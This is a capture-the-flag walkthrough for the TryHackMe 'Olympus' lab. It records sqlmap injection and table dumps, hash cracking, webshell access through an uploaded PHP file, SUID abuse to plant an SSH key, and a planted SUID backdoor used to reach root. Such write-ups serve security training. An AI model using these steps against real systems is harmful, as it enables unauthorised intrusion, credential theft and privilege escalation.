Olympus is a TryHackMe room themed around Greek mythology. The challenge involves discovering SQL injection vulnerabilities, exploiting file upload functionality with randomized filenames, abusing SUID binaries for lateral movement, and finding hidden backdoors for root access.
Attack Chain:
nmap -p- --min-rate 100 --max-retries 2 -Pn 10.10.10.10 -v
Results:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
echo "10.10.10.10 olympus.thm" >> /etc/hosts
feroxbuster -u http://olympus.thm/ -w /usr/share/wordlists/dirb/common.txt
Found: http://olympus.thm/~webmaster/
Found SQL injection on the search functionality:

Vulnerable URL: http://olympus.thm/~webmaster/search.php
sqlmap -r req.txt --batch --technique=E --dbs
Databases Found:
[*] information_schema
[*] mysql
[*] olympus
[*] performance_schema
[*] phpmyadmin
[*] sys
sqlmap -r req.txt --batch -D olympus -T users --dump
Users Extracted:
| user_name | user_role | user_email |
|---|---|---|
| prometheus | User | prometheus@olympus.thm |
| root | Admin | root@chat.olympus.thm |
| zeus | User | zeus@chat.olympus.thm |
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Result: prometheus password cracked: summertime
Found a flag table in the database:
sqlmap -r req.txt --batch -D olympus -T flag --dump
THM{REDACTED}
Discovered additional subdomain from database entries:
echo "10.10.10.10 chat.olympus.thm" >> /etc/hosts

The chat application allows file uploads, but filenames are randomized. Used SQLMap to extract the actual filename from the database:
sqlmap -r req.txt --batch -D olympus -T chats --dump
Result:
| msg | file |
|------------------------|--------------------------------------|
| Attached : shell.php | b63297e776c070b9c5c1548be68e506d.php |
Visited the randomized filename URL:
http://chat.olympus.thm/uploads/b63297e776c070b9c5c1548be68e506d.php
Got webshell access as www-data.
www-data@olympus:/home/zeus$ cat user.flag
THM{REDACTED}
find / -type f -perm -04000 -ls 2>/dev/null
Found interesting binary:
-rwsr-xr-x 1 zeus zeus 17728 Apr 18 2022 /usr/bin/cputils
The SUID binary allows copying files as zeus. Used it to add SSH key:
# Generate SSH key on attacker machine
ssh-keygen -f zeus_key
# On target
/usr/bin/cputils
Enter the Name of Source File: /tmp/authorized_keys
Enter the Name of Target File: /home/zeus/.ssh/authorized_keys
ssh -i zeus_key zeus@10.10.10.10
Found hidden directory in web root:
zeus@olympus:/var/www/html$ ls -la
drwxrwx--x 2 root zeus 4096 Jul 15 2022 0aB44fdS3eDnLkpsz3deGv8TttR4sc
Found a PHP backdoor with SUID binary execution:
$suid_bd = "/lib/defended/libc.so.99";
$shell = "uname -a; w; $suid_bd";
Executed the hidden SUID binary:
zeus@olympus:~$ /lib/defended/libc.so.99
root@olympus:~#
root@olympus:~# cat /root/root.flag
You did it, you defeated the gods.
Hope you had fun !
THM{REDACTED}
PS : Prometheus left a hidden flag, try and find it !
Hidden in system configuration:
grep -iR "flag" /etc/ 2>/dev/null
Found: /etc/ssl/private/.b0nus.fl4g
THM{REDACTED}
| Flag | Location | Status |
|---|---|---|
| Flag 1 | Database flag table |
✅ Captured |
| Flag 2 | /home/zeus/user.flag |
✅ Captured |
| Flag 3 | /root/root.flag |
✅ Captured |
| Flag 4 | /etc/ssl/private/.b0nus.fl4g |
✅ Captured |
| Tool | Purpose |
|---|---|
nmap |
Port scanning |
feroxbuster |
Directory enumeration |
sqlmap |
SQL injection exploitation |
john |
Password hash cracking |
ssh-keygen |
SSH key generation |